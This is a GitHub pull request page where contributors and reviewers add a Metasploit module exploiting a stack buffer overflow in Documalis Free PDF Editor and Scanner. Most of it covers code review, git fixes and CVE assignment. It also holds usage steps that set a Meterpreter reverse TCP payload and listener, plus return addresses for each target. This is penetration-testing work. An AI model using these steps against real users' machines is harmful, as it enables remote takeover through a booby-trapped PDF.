

New issue

[Jump to bottom](#)

Add Documalis Free PDF Editor and Scanner Windows file format exploit #13517

🔗 Merged gwillcox-r7 merged 10 commits into [rapid7:master](#) from [metacom27:exploit/fileformat](#) on Aug 3, 2020

Conversation 46 Commits 10 Checks 0 Files changed 2



metacom27 commented on May 25, 2020 • edited by gwillcox-r7

Contributor

Download

<http://documalis.com/free-pdf-editor>
<http://documalis.com/free-pdf-scanner>

Targets

Targets Win 7 and Win 10

Verification

```
use exploit/windows/fileformat/documalis_pdf_editor_and_scanner

set payload windows/meterpreter/reverse_tcp

set lhost (IP of Local Host)

show targets

set target 0 for Documalis Free PDF Editor and target 1 for Documalis Free PDF Scanner

run

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set lhost (IP of Local Host)
run
```

Open PDF file and the vulnerability is triggered.

bcoles mentioned this pull request on May 25, 2020

add to metasploit /modules/exploits/windows/fileformat/ #13506

🔒 Closed

wvu commented on May 25, 2020

Contributor

Would you like help with your PR? This is identical to your previous PRs.

metacom27 commented on May 26, 2020

Contributor Author

Would you like help with your PR? This is identical to your previous PRs.

Yes, if that is possible. thanks

1

smcintyre-r7 added **module** **needs-docs** labels on May 26, 2020

label-actions (bot) commented on May 26, 2020

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- [Writing Module Documentation](#)
- [Template](#)
- [Examples](#)

smcintyre-r7 commented on May 26, 2020

Contributor

The two exploits should really be combined into a single module. Looking at the diff, they're basically the same. You can use a target you change the `ret` value for the PDF Scanner vs the PDF Editor. The module code also needs to be moved to `modules/exploits/windows/fileformat`.

```
diff documalis_free_pdf_editor.rb documalis_free_pdf_scanner.rb
15,16c15,16
<     'Name'      => 'Documalis Free PDF Editor',
<     'Description' => %q[Documalis Free PDF Editor is prone to a security vulnerability when open PDF files. When the application is used to open a specially crafted PDF file, a
buffer overflow occurs allowing arbitrary code execution.
---
>     'Name'      => 'Documalis Free PDF Scanner',
>     'Description' => %q[Documalis Free PDF Scanner is prone to a security vulnerability when open PDF files. When the application is used to open a specially crafted PDF file, a
buffer overflow occurs allowing arbitrary code execution.
40c40
<     ['<Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10'],
---
>     ['<Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10'],
42c42
<     'Ret' => 0x00401600, # pop eax # pop ebx # ret - PDFEditor.exe
---
>     'Ret' => 0x00401635, # #5E POP ESI - DocumentScanner.exe
exit status: 1
```



👍 2 ❤️ 1

wvu changed the title ~~add to metasploit /modules/exploits/windows/fileformat~~ Add Documalis Free PDF Editor and Scanner Windows file format exploits on May 26, 2020

wvu commented on May 26, 2020

Contributor

Cool. First of all, PR titles should be descriptive. See the updated title for how it should be done.

👍 1

wvu commented on May 26, 2020

Contributor

I'll let you do the next step. Modules should be in the correct file hierarchy. You can accomplish this with the following commands:

```
wvu@kharak-STABLE:/rapid7/metasploit-framework:HEAD$ git mv documalis_free_pdf_* modules/exploits/windows/fileformat/
wvu@kharak-STABLE:/rapid7/metasploit-framework:HEAD$ git status
HEAD detached at upstream/pr/13517
Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
    renamed:   documalis_free_pdf_editor.rb -> modules/exploits/windows/fileformat/documalis_free_pdf_editor.rb
    renamed:   documalis_free_pdf_scanner.rb -> modules/exploits/windows/fileformat/documalis_free_pdf_scanner.rb

wvu@kharak-STABLE:/rapid7/metasploit-framework:HEAD$ git commit -m "Move modules to the correct location"
[*] Running msftidy.rb in .git/hooks/pre-commit mode
--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/windows/fileformat/documalis_free_pdf_editor.rb - [INFO] No CVE references found. Please check before you land!
modules/exploits/windows/fileformat/documalis_free_pdf_scanner.rb - [INFO] No CVE references found. Please check before you land!
-----
[detached HEAD e6e4c4255b] Move modules to the correct location
2 files changed, 0 insertions(+), 0 deletions(-)
 rename documalis_free_pdf_editor.rb => modules/exploits/windows/fileformat/documalis_free_pdf_editor.rb (100%)
 rename documalis_free_pdf_scanner.rb => modules/exploits/windows/fileformat/documalis_free_pdf_scanner.rb (100%)
wvu@kharak-STABLE:/rapid7/metasploit-framework:HEAD$ git push origin exploit/fileformat
```

Hope this helps. If there are any CVEs associated with these modules, please add them to the `References` field in the modules.

metacom27 commented on May 26, 2020

Contributor Author

thank you very much wvu-r7. I'll try.

❤️ 1

wvu changed the title ~~Add Documalis Free PDF Editor and Scanner Windows file format exploits~~ Add Documalis Free PDF Editor and Scanner Windows file format exploit on May 26, 2020

wvu added the `needs-linting` label on May 27, 2020

label-actions (bot) commented on May 27, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

```
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
```

You can automate most of these changes with the `-a` flag:

```
rubocop -a <directory or file>
```

Please update your branch after these have been made, and reach out if you have any problems.

gwillcox-r7 commented on Jun 11, 2020

Contributor

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- [Writing Module Documentation](#)
- [Template](#)
- [Examples](#)

@metacom27 Any chance you can write up some documentation using the guides above? Its going to be harder for us to land this module without this. Also do you have a CVE for this bug? I didn't see one in your module's source code. If not please get in contact with @todb-r7 and he can help assign you a CVE for this issue.

gwillcox-r7 commented on Jun 11, 2020

Contributor

@metacom27 Applied some updates to your original post to format it in Markdown format so its easier to read.



gwillcox-r7 commented on Jun 15, 2020

Contributor

modules/auxiliary/dos/smb/smb_loris.rb was deleted. Please revert the changes made to this file: the updates should only contain changes to your own code :)

Removing the needs-docs label as the documentation has now been added.

gwillcox-r7 added docs and removed needs-docs labels on Jun 15, 2020

metacom27 commented on Jun 16, 2020

Contributor Author

modules/auxiliary/dos/smb/smb_loris.rb was deleted. Please revert the changes made to this file: the updates should only contain changes to your own code :)

Removing the needs-docs label as the documentation has now been added.

how do i do that? "smb_loris.rb"

I don't know what happened in my windows :(

gwillcox-r7 commented on Jun 16, 2020

Contributor

Looks like the file was removed in this commit: 8d0b361. I would undo that commit if you can.

As for how to do that, refer to <https://stackoverflow.com/questions/22682870/git-undo-pushed-commits>. The command you would most likely want is `git revert 8d0b361` and then you would upload your changes.

metacom27 commented on Jun 19, 2020 • edited

Contributor Author

@gwillcox-r7 " I would undo that commit if you can."

Not working. if you can delete everything and me post again Documalis Free PDF Editor and Scanner.

metacom27 added 2 commits 2 years ago

new modules with both programs documalis_pdf_editor_and_scanner

cefc6c

documalis_pdf_editor_and_scanner.md initial comit

✓ 1a3ca6e

gwillcox-r7 force-pushed the exploit/fileformat branch from feca37b to 1a3ca6e 2 years ago

Compare

gwillcox-r7 commented on Jun 19, 2020 • edited

Contributor

@metacom27 Pushed the necessary changes to your branch to remove the bad commit using `git rebase -i upstream/master` from within a cloned copy of your repo. Whilst I was doing this I also look the liberty of removing your cleanup commits from the commit history so that you have a clear commit history as well. If anything looks wrong, please let me know!

gwillcox-r7 self-assigned this on Jul 13, 2020

gwillcox-r7 commented on Jul 13, 2020

Contributor

@metacom27 Any update on getting CVEs assigned for these issues? @todb-r7 may be able to help if you need assistance with getting them assigned.

metacom27 commented on Jul 14, 2020

Contributor Author

Yes if he wants to help me. I've sent an email cveform.mitre.org

"

Thank you for your submission. It will be reviewed by a CVE Assignment Team member. Changes, additions, or updates to your request can be sent to the CVE Team by replying directly to this email. Please do not change the subject line, which allows us to effectively track your request.

CVE Assignment Team

"

and now I'm waiting

todb-r7 commented on Jul 17, 2020

Contributor

Heya @metacom27, since you've already put in for an assignment, we should just let that go, rather than risk a double assignment. Say do update here when you get the assignment. Always curious how long the front door takes on these things.

(Also there will be an entirely new CVE ID assignment system in the fall, for what it's worth.)

metacom27 commented on Jul 18, 2020

Contributor Author

i'm going to do it . thank you



gwillcox-r7 previously requested changes on Jul 28, 2020

[View changes](#)

gwillcox-r7 left a comment

Contributor

There are some general changes that I will apply myself, but I wanted to point out three main areas of concern here that I think you might be better suited to answer. Namely the title, a missing reference, and a question regarding the versions that were available to test with and how many versions this vulnerability has been tested on.

Furthermore, whilst I couldn't comment on this earlier, the file name for the Ruby module and its corresponding documentation really needs to be either the CVE identifier (makes it easier for people to search for the right file, or it should at the very least contain details on what type of vulnerability it is (in this case a stack buffer overflow), as well as what an attacker gains by exploiting it (in this case RCE).

documentation/modules/exploit/windows/fileformat/documalis_pdf_editor_and_scanner.md Outdated

Show resolved

modules/exploits/windows/fileformat/documalis_pdf_editor_and_scanner.rb Outdated

Show resolved

modules/exploits/windows/fileformat/documalis_pdf_editor_and_scanner.rb Outdated

Show resolved

gwillcox-r7 commented on Jul 28, 2020 • edited

Contributor

Quick update but did a quick test of these two bugs on version v5.7.2.9 of both versions (since these were the two versions I was able to download) and whilst both crashed, it seems that we would need to update the code as right now we are relying on the host EXE itself, which will change with every release.

Edit: Whilst I originally advised that one could use bundled DLLs to provide some cross version compatibility, it seems that both products don't come with any additional DLLs. Its just a single EXE with a bunch of images and icons. All the external dependencies are Microsoft specific DLLs which will change depending on the OS version, patches, etc. So looks like EXE is honestly the best bet given this scenario.



gwillcox-r7 reviewed on Jul 31, 2020

[View changes](#)

modules/exploits/windows/fileformat/documalis_pdf_editor_and_scanner.rb Outdated

Show resolved

gwillcox-r7 added 3 commits 2 years ago

- Edit up the exploit to correct the size calculation logic so it corre... 907bedc
- Add in the proper instructions corresponding to the gadgets that we u... 96859ba
- Update the module's description and title to be more accurate, and al... e355bc7

gwillcox-r7 commented on Jul 31, 2020

Contributor

@metacom27 Went ahead and pushed some changes to your code that should address the problems mentioned above, specifically:

- Corrected your exploit buffer size calculation so it correctly calculates the size of the buffer; this now allows the exploit to successfully calculate the size of the buffer so that we don't inadvertently end up crashing the target.
- Updated the comments for the targets so we have the right instructions for the addresses that we use within each program.
- Updated the exploit description and exploit title to be more accurate and reflect the fact that this is a stack buffer overflow that occurs when parsing a JPEG image contained within a PDF document.
- Removed the EDB reference since I couldn't find and EDB entries for this bug, and replaced it with a fake CVE entry until you can get a proper CVE number assigned.

I still need to review and update a few minor things on the documentation, and then the last step should be do compliance checks aka linting to make sure the code conforms to our guidelines. After that we will just need to wait for the CVE ID to be assigned and then we can merge this in.


- Apply fixes to documentation to fix some errors and make it msftidy_d... 2d5fa91

gwillcox-r7 removed the **needs-linting** label on Jul 31, 2020

 **gwillcox-r7** added 2 commits 2 years ago

-O-  Remove trailing new line at end of the line that was causing the last... ...

8ad94e5

-O-  Add in a temp valid CVE number to see if that will get builds to pass... ...

✗ b13b3b3

✗  **gwillcox-r7** dismissed their stale review 2 years ago

Made the edits for this myself

gwillcox-r7 commented on Jul 31, 2020

Contributor

Ok this should be ready to land once the CVE is assigned. @metacom27 do you have any updates on the CVE ID at all?

metacom27 commented on Aug 1, 2020

Contributor Author

@gwillcox-r7 I have not received any response from CVE .

metacom27 commented on Aug 3, 2020 • edited

Contributor Author

Hello @gwillcox-r7

"Corrected your exploit buffer size calculation so it correctly calculates the size of the buffer; this now allows the exploit to successfully calculate the size of the buffer so that we don't inadvertently end up crashing the target."

I tried all his possibilities to control buffer but not working, the program crash after you close the shell connection. This is the only way this vulnerability works.

e.g "PDF Shaper 3.5 - Local Buffer Overflow "
https://www.rapid7.com/db/modules/exploit/windows/fileformat/shaper_pdf_bof
<https://www.exploit-db.com/exploits/37760>

After the shell connection close the program crash.

I think it's better to close and delete the exploit module.

gwillcox-r7 commented on Aug 3, 2020 • edited

Contributor

Hello @gwillcox-r7

"Corrected your exploit buffer size calculation so it correctly calculates the size of the buffer; this now allows the exploit to successfully calculate the size of the buffer so that we don't inadvertently end up crashing the target."

I tried all his possibilities to control buffer but not working, the program crash after you close the shell connection. This is the only way this vulnerability works.

e.g "PDF Shaper 3.5 - Local Buffer Overflow "
https://www.rapid7.com/db/modules/exploit/windows/fileformat/shaper_pdf_bof
<https://www.exploit-db.com/exploits/37760>

After the shell connection close the program crash.

I think it's better to close and delete the exploit module.

Ah sorry I should have been clearer with my explanation! My apologies! The issue was that before this fix, the target would crash without the attacker ever getting a shell. This was happening cause you were not calculating the size of the buffer correctly.

You are correct that the target will still crash after the attacker exits their shell, but the real issue that we were trying to fix here was the fact that due to an incorrect buffer size calculation, your original exploit wasn't granting the attacker any shells at all. All it was doing was crashing the target.

I'll update the code so long to add in some exploit notes to note that the target does indeed crash after we exit the shell.

-O-  Add in Notes section to exploit

✓ 513f2da

todb-r7 commented on Aug 3, 2020

Contributor

All right, I'm nervous about assigning a CVE for you when it's already in process upstream. Here's my suggestion, @metacom27 :

- Double check your spam/promotional folder for an assignment (I don't see one anywhere else, but you never know)
- If no assignment, reply to that email with a nudge. "I've been waiting nearly a month, just making sure you saw this!" Something friendly like that.
- If no assignment by August 10, reply again on that thread with something like "Never mind! My pal at Rapid7 said he'd get me a number!" and cc me (tod_beardsley@rapid7.com), and I'll give you a number that day, promise, and I'll reply to the thread with the R7 assignment.

@gwillcox-r7 if it's not a breaking change to land this module without a CVE, then I say release it, and I can open an issue referencing this PR to remember to actually assign one in the unknowable future. (If it *is* a rule-breaking action to land without a CVE, then hang on a week?)


Finally, this is a huge hassle, sorry about that. Next time, just go with a Rapid7 assignment -- much faster throughput here! All this caution is because untangling multiple assignments is always a huge pain for many, many organizations, and should be avoided at most costs.

 2

 **todb-r7** mentioned this pull request on Aug 3, 2020

Assign a CVE to Documalis #13934

 Closed

-O-  Remove CVE reference for now until we can add in a proper CVE referen... ...

✓ b64e843

gwillcox-r7 commented on Aug 3, 2020

Contributor

@todb-r7 Thanks, will get this landed now and we can circle back on adding the CVE later this week/beginning of next week (aka August 10th) if nothing has happened by then. @metacom27 Can you keep us updated and let us know if MITRE does assign a CVE for this vuln? Going to merge in your work in the meantime and we'll create a separate PR to add in the CVE when it gets assigned.

gwillcox-r7 added a commit to gwillcox-r7/metasploit-framework that referenced this pull request on Aug 3, 2020

Land [rapid7#13517](#), Documalis Free PDF Editor and Free PDF Scanner JPE...

fe19ee4

gwillcox-r7 merged commit [6ed05df](#) into [rapid7:master](#) on Aug 3, 2020
3 checks passed

[View details](#)

gwillcox-r7 commented on Aug 3, 2020 • edited by pbarry-r7

Contributor

Release Notes

New module `exploits/windows/fileformat/documalis_pdf_editor_and_scanner` exploits a stack based buffer overflow in Documalis Free PDF Editor and Documalis Free PDF Scanner when processing PDF files containing an embedded JPEG image. Successful exploitation will result in arbitrary code execution as the user running the affected software.

metacom27 commented on Aug 10, 2020

Contributor Author

@todb-r7 Hello

I followed your advice if MITER does not respond by August 10th. I canceled CVE from MITRE because it does not respond to my request.

Thanks for everything

pbarry-r7 added the `m-modules` label on Aug 18, 2020

metacom27 commented on Sep 11, 2020 • edited

Contributor Author

Hello I received an email from mitre.org about CVE

The information regarding CVE-2020-24035 is already populated to the CVE master list (see <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7374>).

If you have additional information that is not contained in the CVE entry and would like to update the entry, please use the CVE request web form (<https://cveform.mitre.org/>) and select "Request an update to an existing CVE Entry".

Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.

Online resources;

- Submitting CVE entry(s), https://cve.mitre.org/cve/cna.html#submitting_cve_entry_info

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=%20CVE-2020-7374>

gwillcox-r7 commented on Sep 11, 2020

Contributor

@metacom27 I think the way we were going to solve this was the way that @todb-r7 mentioned at [metacom27#1](#), have you taken a look at that PR so long? Otherwise I can just create a separate PR on my side and add in the CVE-ID manually then we can close that PR and the associated issue at [#13934](#) that @todb-r7 created.

todb-r7 commented on Sep 11, 2020

Contributor

Yep, [CVE-2020-7374](#) should be the canonical ID. Merge [metacom27#1](#) and it should be all well in the land.

Reviewers

 gwillcox-r7



Assignees

 gwillcox-r7

Labels

`docs` `module` `m-modules`

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

6 participants

